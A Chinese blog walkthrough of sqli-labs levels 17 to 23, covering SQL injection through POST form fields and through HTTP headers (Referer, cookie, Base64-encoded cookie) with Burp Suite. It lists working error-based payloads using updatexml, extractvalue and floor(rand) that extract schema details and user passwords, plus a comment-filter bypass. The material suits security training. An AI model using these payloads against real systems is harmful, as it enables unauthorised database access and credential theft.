WEB安全--SQL注入--POST传参注入、SQL头部注入

一、介绍:

post传参和get传参对注入方式没有本质上的影响,只不过前者是通过页面上的表单提交数据后者是通过url传参。

而头部注入是因为后端并没有直接将参数插入查询语句,而是通过插入或取出cookie、referer等参数进行数据查询或更改的;所以通常使用抓包工具在抓到的数据包上更改相应的参数进行注入。

二、示例:

2.1、POST示例:

sql 复制代码
#less-17
username和password是两个传入点,但是username这个参数用户传入后会被后端waf处理,
所以无法在这个点写payload;我们可以在password上下功夫,如果要注入的话,
首先得保证username传入的值是正确的,
然后再在password字段上用联合注入或者报错注入等payload即可。


//$update="UPDATE users SET password = 'aaa' and selec#' WHERE username='$row1'";

//11' and (select 1 from(select count(*),concat(database(),floor(rand(0)*2))as x from information_schema.tables group by x)as y)#

//123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#

//1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#

//1' and (extractvalue(1,concat(0x5c,(select group_concat(id,username,password) from users),0x5c)))#

//1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))#

//1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)#



#less-23
此关的waf过滤了注释符,我们要在payload末尾用  '1'='1  来代替--+,
通过报错注入的方式,后面也就迎刃而解了


?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

2.2、改包示例:

sql 复制代码
#less-18 ~ less-22
通过使用burpsuite截取我们传递的包,然后修改相应字段的数据即可,也就是在里面写注入语句。

不过要注意的是:
less-19改写的字段是Referer='';
less-20改写的字段是cookie,因为username和password都设置了waf;
less-21改写的地方也是cookie,不过需要先把注入语句用Base64编码一遍,
因为后台接收的时候设置了Base64解码过滤;
相关推荐
为美好的生活献上中指42 分钟前
java每日精进 5.11【WebSocket】
java·javascript·css·网络·sql·websocket·网络协议
可喜~可乐1 小时前
C# SQLite高级功能示例
数据库·sql·sqlite·c#
mooyuan天天1 小时前
upload-labs通关笔记-第3关 文件上传之黑名单绕过
web安全·文件上传·文件上传漏洞·upload-labs靶场
优质网络系统领域创作者2 小时前
思科(Cisco ASA/Firepower)、华三(H3C)、华为(Huawei USG)防火墙 的基础配置
安全
脑子慢且灵2 小时前
MySQL:关系模型的基本理论
数据库·sql·mysql
AORO_BEIDOU3 小时前
防爆手机与普通手机有什么区别
人工智能·5g·安全·智能手机·信息与通信
码农飞哥3 小时前
互联网大厂Java求职面试实战:Spring Boot与微服务场景深度解析
java·数据库·spring boot·安全·微服务·消息队列·互联网医疗
Bl_a_ck4 小时前
--openssl-legacy-provider is not allowed in NODE_OPTIONS 报错的处理方式
开发语言·前端·web安全·网络安全·前端框架·ssl
AORO_BEIDOU4 小时前
遨游5G-A防爆手机:赋能工业通信更快、更安全
5g·安全·智能手机
敲上瘾4 小时前
MySQL数据库表的约束
linux·数据库·sql·mysql·数据库开发·数据库架构·数据库系统